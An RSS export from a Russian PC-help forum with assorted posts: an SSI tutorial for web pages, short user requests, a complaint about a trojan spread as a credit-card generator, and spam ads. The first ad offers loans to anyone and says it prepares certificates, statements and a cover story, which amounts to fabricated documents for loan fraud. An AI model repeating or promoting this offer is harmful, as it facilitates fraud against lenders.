<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://pkhelper.eurobb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>PC-Helper</title>
		<link>https://pkhelper.eurobb.ru/</link>
		<description>PC-Helper</description>
		<language>ru-ru</language>
		<lastBuildDate>Sat, 05 Nov 2011 17:13:00 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Кредит. ЛЮБОМУ гражданину РФ. До 100 000 USD</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=585#p585</link>
			<description>&lt;p&gt;Кредит выдается наличными. Человек должен находиться в Москве в момент подготовки, подачи документов, а также при получении наличных средств в кассе банка. Клиент&amp;#160; не должен иметь серьезных проблем с банками, с которыми мы работаем. Клиент должен иметь 2 подлинных документа (никаких копий, никакого переклея!). Клиент должен быть гр. РФ&amp;#160; не моложе 18 лет. Не иметь внешних признаков инвалидности. Ухоженный вн. вид. Прописка, кредитная история, семейное положение, работа – НЕВАЖНЫ!ПОЛНОСТЬЮ&amp;#160; БЕЗ ПРЕДОПЛАТЫ. Справки, выписки, клиентскую историю, легенду – готовим. 8-915-239-13-43, 8-915-239-17-23, 8-915-239-14-91, 8-915-239-17-41 работают посменно без выходных. До одного не дозвонитесь – звоните на другой.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (l1919s2011)</author>
			<pubDate>Sat, 05 Nov 2011 17:13:00 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=585#p585</guid>
		</item>
		<item>
			<title>Распродажа алкоголя.</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=584#p584</link>
			<description>&lt;p&gt;Просьба к модераторам не удалять эту тему, многим пригодится - свадьбы - дни рождение - другие мироприятия - алкоголь качественный все то что стоит на прилавках, продается до разлития по бутылкам без наценки - отсюда такие цены.Перед приобретением есть возможность дегустации - не понравиться не берите.&lt;br /&gt;За ранее спасибо. &lt;br /&gt;Виски - White Horse - 5 литров - 1500 рублей.&lt;br /&gt;Мартини - Bianco - 5 литров - 1200 рублей.&lt;br /&gt;Текила - Olmeca Gold - 5 литров - 1500 рублей.&lt;br /&gt;Ром - Captain Morgan Black - 5 литров - 1500 рублей.&lt;br /&gt;Амаретто - Ликер - 5 литров - 1500 рублей.&lt;br /&gt;Водка - Absolut - Standart,Kurant,Citron - 5 литров 1200 рублей.&lt;br /&gt;Настойка(40%) - Вишня - 5 литров - 1200 рублей.&lt;br /&gt;Коньяк - Ной -&amp;#160; 5 литров - 1200 рублей.&lt;br /&gt;Джин - Beefeater Gin - 5 литров - 1500 рублей.&lt;br /&gt;&lt;strong&gt;Москва 8 9653410236 ICQ 170882614&lt;/strong&gt;&lt;br /&gt;Все тоже самое что вы приобретете в обычных магазинах.&lt;br /&gt;Заводские пищевые канистры по 5 литров-опломбированы.&lt;br /&gt;Перед приобретением есть возможность открыть свою канистру - попробoвать.&lt;br /&gt;Дегустация - до 0.5 литра любого напитка на месте.&lt;br /&gt;Мы не продаем алкоголь несовершеннолетним.&lt;br /&gt;производят в нашей стране по лицензии от производителя,обычные винно-коньячные заводы, высококвалифицированные технологи,качественное оборудование,по рецепту.Не выгодно импортировать... себестоимость самого напитка низкая,разливают в канистры до бутылок - отсюда такая цена.&lt;br /&gt;есть напитки - возят из Питера, там коньячный спирт,кондитерский коньяк, вкусов 10(миндаль,карамель и тд). у нас нормальный коньяк, сам тестил - залил коньяк из канистры в бутылку реми мартин, пришел в компанию - всем понравилось - все довольны. Там психологический фактор играет, покупая бутылку, человек подсознательно доверяет производителю;магазину;тому, что он платит деньги. С канистрой отрицательные ассоциации. Конечно это не будет французский коньяк 15-20 лет выдержки, но у нас в обычных магазинах, вы только хуже найдете..&lt;br /&gt;Пишите в аську,звоните договоримся.170882614, 79653410236&lt;br /&gt;Выслать возможно EMS почтой,Почтой России,DHL. до 10 канистр.&lt;br /&gt;Более - грузоперевозкой&lt;br /&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;https://s010.radikal.ru/i312/1101/b5/659b2216ade6.jpg&quot; alt=&quot;http://s010.radikal.ru/i312/1101/b5/659b2216ade6.jpg&quot; /&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (easyeas)</author>
			<pubDate>Sat, 07 May 2011 13:57:13 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=584#p584</guid>
		</item>
		<item>
			<title>Обсуждение и Заказ MP3</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=540#p540</link>
			<description>&lt;p&gt;Хочется видео , Жени Белаусова.....помогите, если можно...&lt;/p&gt;</description>
			<author>mybb@mybb.ru (vasilis)</author>
			<pubDate>Mon, 03 May 2010 12:03:25 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=540#p540</guid>
		</item>
		<item>
			<title>Шпаргалки для мобильного телефона</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=321#p321</link>
			<description>&lt;p&gt;нужны шпаргалки по макроэкономике на телефон где можно найти&lt;/p&gt;</description>
			<author>mybb@mybb.ru (котенок)</author>
			<pubDate>Mon, 30 Mar 2009 11:07:47 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=321#p321</guid>
		</item>
		<item>
			<title>Форум P.C. game . Обсуждение</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=320#p320</link>
			<description>&lt;p&gt;lflflfl&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Thu, 10 Apr 2008 10:34:44 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=320#p320</guid>
		</item>
		<item>
			<title>Генератор кредитных карт v3.5</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=319#p319</link>
			<description>&lt;p&gt;что за чмо рассылает эту хрень, &amp;quot;троянский скакун...&amp;quot; я удаляю троянов по 20 вдень...как это заеб..&lt;/p&gt;</description>
			<author>mybb@mybb.ru (zenner)</author>
			<pubDate>Thu, 10 Apr 2008 02:59:23 +0400</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=319#p319</guid>
		</item>
		<item>
			<title>Флудильня&amp;#9658;счётччик офф.</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=315#p315</link>
			<description>&lt;p&gt;повесил.....теперь ищу народ кто может сделать норм баннер.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sun, 27 Jan 2008 18:11:57 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=315#p315</guid>
		</item>
		<item>
			<title>он-лайн переводчик.....транслитор</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=309#p309</link>
			<description>&lt;p&gt;очень полезная,при том что там есть версии даже для смартфонов......=)&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 23:52:15 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=309#p309</guid>
		</item>
		<item>
			<title>Шаг 1. Что такое SSI (Server-Side Includes)</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=308#p308</link>
			<description>&lt;p&gt;Большинство страниц на сайте, несмотря на их разное содержание, имеет одинаковую структуру кода. Например, верхняя и нижняя часть документа практически не меняется от страницы к странице. В таком случае рекомендуется одинаковые фрагменты кода хранить в отдельных файлах и подключать их по мере необходимости. Однако традиционный HTML не позволяет делать подобные кунштюки, поэтому помочь здесь может SSI.&lt;/p&gt;
						&lt;p&gt;SSI (Server-Side Includes, включения на стороне сервера) позволяет добавлять контент во множество страниц, причем незаметно для пользователя. Это значит, что при запросе браузера определенного документа ему передается уже готовый, полностью сформированный код. Особенностью SSI является то, что это технология работает только под управлением веб-сервера, например, Apache.&lt;/p&gt;
						&lt;p&gt;Обычно веб-сервер проверяет на наличие встроенных команд не все файлы на сервере, а только с заданным расширением, как правило, shtml. Чтобы проверить, работает ли у вас SSI, создайте два файла в одной папке, один с именем index.shtml, а второй — content.html, как показано в примере 1.1.&lt;br /&gt;&lt;span style=&quot;color: maroon&quot;&gt;Пример 1.1. Использование SS&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;Файл index.shtml&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#include file=&amp;quot;content.html&amp;quot;--&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;Файл content.html&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;h1&amp;gt;Работает!&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;В данном примере содержимое файла content.html встраивается в файл index.shtml в том месте, где стоит команда &lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#include file=&amp;quot;content.html&amp;quot;--&amp;gt;&lt;/span&gt;. Обратите внимание, что файл content.html не содержит никаких тегов вроде &amp;lt;HTML&amp;gt; и &amp;lt;BODY&amp;gt;, иначе они также будут добавлены в исходный документ.&lt;/p&gt;
						&lt;p&gt;Если посмотреть итоговый код документа, то мы увидим следующее (пример 1.2).&lt;br /&gt;&lt;span style=&quot;color: red&quot;&gt;Пример 1.2. Код, полученный в результате использования SSI&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;h1&amp;gt;Работает!&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: green&quot;&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;br /&gt;Если ваш сервер поддерживает SSI, то после открытия файла &lt;span style=&quot;color: green&quot;&gt;index.shtml&lt;/span&gt;, вы увидите надпись «Работает!». В том случае, когда написано нечто другое или вообще ничего нет, возможны два варианта.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Отображается надпись &lt;span style=&quot;color: green&quot;&gt;[an error occurred while processing this directive]&lt;/span&gt;. Это означает, что SSI работает, но в коде содержится ошибка. Например, добавлены лишние пробелы или указанного файла нет.&lt;br /&gt;&amp;#160; &amp;#160;2. Ничего не отображается. Следует посмотреть исходный код документа, если в нем видна строка &lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#include file=&amp;quot;content.html&amp;quot;--&amp;gt;&lt;/span&gt;, значит веб-сервер не поддерживает SSI или оно не распространяется на расширение shtml.&lt;/p&gt;
						&lt;p&gt;Расширение shtml не является обязательным, для веб-сервера Apache его можно поменять на любое другое с помощью конфигурационного файла &lt;span style=&quot;color: green&quot;&gt;.htaccess&lt;/span&gt;. Для этого в корне сайта создается обычный текстовый файл с именем &lt;span style=&quot;color: green&quot;&gt;.htaccess&lt;/span&gt; (без расширения и с точкой вначале). В этом файле следует набрать строку, как показано в примере 1.3.&lt;br /&gt;&lt;span style=&quot;color: red&quot;&gt;Пример 1.3. Содержимое файла .htaccess&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;AddHandler server-parsed .html&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Вместо расширения html можно указать любое другое желаемое, а также через запятую перечислить несколько расширений файлов&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;strong&gt;Замечание&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red&quot;&gt;Расширение shtml позволяет четко отделять файлы с директивами SSI от обычных HTML-файлов. Если вы установите проверку всех документов, в том числе и без SSI, то при этом возрастет нагрузка на веб-сервер и несколько увеличится время загрузки файлов. &lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Возможности SSI не ограничены добавлением содержимого другого файла. С помощью SSI можно запускать серверные приложения, использовать переменные окружения, указывать размер файла, дату модификации документа и многое другое.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (amper91)</author>
			<pubDate>Sat, 26 Jan 2008 23:51:13 +0300</pubDate>
			<guid>https://pkhelper.eurobb.ru/viewtopic.php?pid=308#p308</guid>
		</item>
		<item>
			<title>Шаг 2. Директивы SSI</title>
			<link>https://pkhelper.eurobb.ru/viewtopic.php?pid=307#p307</link>
			<description>&lt;p&gt;SSI поддерживает несколько директив, предназначенных для разных целей и расширяющих возможности по модификации веб-страниц.&lt;/p&gt;
						&lt;p&gt;Все директивы записываются в следующем виде.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#директива параметр=&amp;quot;значение&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Каждая директива начинается с ключевого набора &lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#&lt;/span&gt;, пробелы между символами не допускаются. После символа решетки идет указание директивы, а возможные параметры указываются через пробел.&lt;/p&gt;
						&lt;p&gt;Имена директив, которые используются в SSI, описаны далее.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Директива config&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Позволяет управлять некоторыми опциями SSI, такими как задание формата вывода даты, времени, размера файла и установка текста сообщения о возникновении ошибки.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Параметр errmsg&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;errmsg устанавливает сообщение, отображаемое при возникновении ошибок. По умолчанию выводится текст &lt;span style=&quot;color: green&quot;&gt;[an error occurred while processing this directive]&lt;/span&gt;, но вы можете поменять его на свой, да еще написав по-русски. Синтаксис следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#config errmsg=&amp;quot;Сообщение об ошибке&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: purple&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Параметр timefmt&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Параметр &lt;span style=&quot;color: green&quot;&gt;timefmt&lt;/span&gt; устанавливает формат даты и времени для директивы &lt;span style=&quot;font-style: italic&quot;&gt;flastmod&lt;/span&gt;. Синтаксис следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#config timefmt=&amp;quot;формат&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Для контроля выводимой информации могут применяться следующие шаблоны.&lt;/strong&gt;&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%a&lt;/span&gt; - сокращенное название дня недели.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%A&lt;/span&gt; - полное название дня недели.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%b&lt;/span&gt; - сокращенное название месяца.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%B&lt;/span&gt; - полное название месяца.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%c &lt;/span&gt;- формат даты и времени по умолчанию.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%d&lt;/span&gt; - день месяца (от 01 до 31).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%D&lt;/span&gt; - дата в формате мм/дд/гг.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%e&lt;/span&gt; - день месяца без ведущего нуля (от 1 до 31).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%H&lt;/span&gt; - часы в 24-часовом формате (от 00 до 23).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%I&lt;/span&gt; - часы в 12-часовом формате (от 00 до 12).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%j&lt;/span&gt; - день года (от 001 до 366).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%m&lt;/span&gt; - номер месяца (от 01 до 12).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%M&lt;/span&gt; - минуты (от 00 до 60).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%p&lt;/span&gt; - выводит AM или PM в зависимости от времени и заданного формата.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%r&lt;/span&gt; - время с автоматическим добавлением AM или PM.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%T&lt;/span&gt; - время в формате чч:мм:сс.&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%y&lt;/span&gt; - год (от 00 до 99).&lt;br /&gt;&lt;span style=&quot;color: green&quot;&gt;%%&lt;/span&gt; - вывод символа %.&lt;/p&gt;
						&lt;p&gt;Разрешается совмещать между собой любые шаблоны, а также писать дополнительные символы. В примере 2.1 показано использование параметра &lt;span style=&quot;color: green&quot;&gt;timefmt.&lt;/span&gt;&lt;br /&gt;&lt;strong&gt;Пример 2.1. Вывод даты и времени модификации файла.&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#config timefmt=&amp;quot;Дата: %d-%m-%y, время: %T&amp;quot;--&amp;gt;&lt;br /&gt;&amp;lt;!--#flastmod file=&amp;quot;gtm.css&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;Параметр sizefmt&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Параметр sizefmt определяет формат вывода размера файла. Синтаксис следующий. &lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#config sizefmt=&amp;quot;bytes | abbrev&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Значение bytes отображает размер файла в байтах (3,152), &lt;span style=&quot;color: green&quot;&gt;abbrev&lt;/span&gt;&lt;br /&gt; - в килобайтах (3k) или мегабайтах (6,1M), в зависимости от объема документа. В примере 2.2 показано использование параметра &lt;span style=&quot;color: green&quot;&gt;sizefmt&lt;/span&gt;.&lt;br /&gt;&lt;strong&gt;Пример 2.2. Формат вывода размера файла&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#config sizefmt=&amp;quot;abbrev&amp;quot;--&amp;gt;&lt;br /&gt;Объем файла musa.mp3 - &amp;lt;!--#fsize file=&amp;quot;musa.mp3&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;&lt;strong&gt;Директива include&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Директива include вставляет содержимое другого файла в текущий документ. К файлу обязательно должен быть открыт доступ, иначе он не будет показан. У директивы include имеется два параметра: file и virtual.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;&lt;strong&gt;Параметр file&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Указывает путь к файлу относительно текущего документа. Можно использовать как текстовые файлы, так и HTML-документа, а также включать другие SSI-файлы (обычно с расширением shtml). Синтаксис использования следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#include file=&amp;quot;URL&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;&lt;strong&gt;Параметр virtual&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Задает виртуальный путь к документу на сервере. Синтаксис следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#include virtual=&amp;quot;URL&amp;quot; --&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Между параметрами &lt;strong&gt;file&lt;/strong&gt; и &lt;strong&gt;virtual&lt;/strong&gt; есть определенная разница. Если вы применяете путь к документам относительно корня сайта (такой путь характеризуется слешем вначале, например &lt;strong&gt;/file.html&lt;/strong&gt;), то следует использовать параметр &lt;strong&gt;virtual&lt;/strong&gt;. При указании относительного пути, следует воспользоваться параметром &lt;strong&gt;file&lt;/strong&gt; (пример 2.3).&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Пример 2.3. Путь к файлу&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#include virtual=&amp;quot;/inc/header.html&amp;quot;--&amp;gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;!--#include file=&amp;quot;../inc/footer.html&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;&lt;strong&gt;Директива echo&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Директива echo предназначена для вывода значений переменных и даты, формат которой определяется параметром &lt;span style=&quot;color: green&quot;&gt;timefmt &lt;/span&gt;директивы &lt;span style=&quot;font-style: italic&quot;&gt;config. У echo&lt;/span&gt; единственный параметр &lt;span style=&quot;color: green&quot;&gt;var&lt;/span&gt;, он определяет выводимое значение.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#echo var=&amp;quot;значение для вывода&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;В примере 2.4 показано использование директивы echo для вывода переменной окружения.&lt;br /&gt;Пример 2.4. Вывод значения переменной окружения&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;!--#echo var=&amp;quot;HTTP_USER_AGENT&amp;quot;--&amp;gt;&lt;/p&gt;
						&lt;p&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 16px&quot;&gt;&lt;strong&gt;Директива fsize&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Директива &lt;span style=&quot;font-style: italic&quot;&gt;fsize&lt;/span&gt; отображает размер определенного файла. Формат вывода задается с помощью параметра [cplor=green]sizefmt[/color] директивы &lt;span style=&quot;font-style: italic&quot;&gt;config&lt;/span&gt;. Синтаксис использования следующий.&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#fsize file=&amp;quot;URL&amp;quot; | virtual=&amp;quot;URL&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Путь к файлу определяется с помощью параметров file или virtual, которые имеют те же функции, что и для директивы include.&lt;br /&gt;Директива flastmode&lt;br /&gt;Отображает дату последней модификации указанного файла. Формат даты устанавливается через директиву config и параметр timefmt. Синтаксис следующий.&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#flastmode file=&amp;quot;URL&amp;quot; | virtual=&amp;quot;URL&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Путь к файлу определяется с помощью параметров file или virtual, которые имеют те же функции, что и для директивы include.&lt;br /&gt;Директива exec&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;color: red&quot;&gt;&lt;span style=&quot;font-size: 14px&quot;&gt;&lt;strong&gt;Директива exec&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;вставляет результат выполнения команды или CGI-программы в HTML-документ. Эта директива включает два параметра: cmd и cgi.&lt;br /&gt;Параметр cmd&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Запускает указанную командную строку с использованием локального интерпретатора.&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#exec cmd=&amp;quot;команда&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Параметр cgi&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Выполняет CGI-программу и результат ее выполнения вставляет в указанное место. В качестве параметра указывается адрес программы.&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!--#exec cgi=&amp;quot;URL&amp;quot;--&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;В примере 2.5 показано одно из применений параметра cgi.&lt;/strong&gt;&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Пример 2.5. Использование директивы exec&lt;/strong&gt;&lt;/p&gt;&lt;div class=&quot;quote-box quote-main&quot;&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.01 Transitional//EN&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Всего прочитало эту страницу &lt;span style=&quot;color: green&quot;&gt;&amp;lt;!--#exec cgi=&amp;quot;/cgi-bin/counter.cgi&amp;quot;--&amp;gt;&lt;/span&gt; человек.&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/strong&gt;&lt;/p&gt;
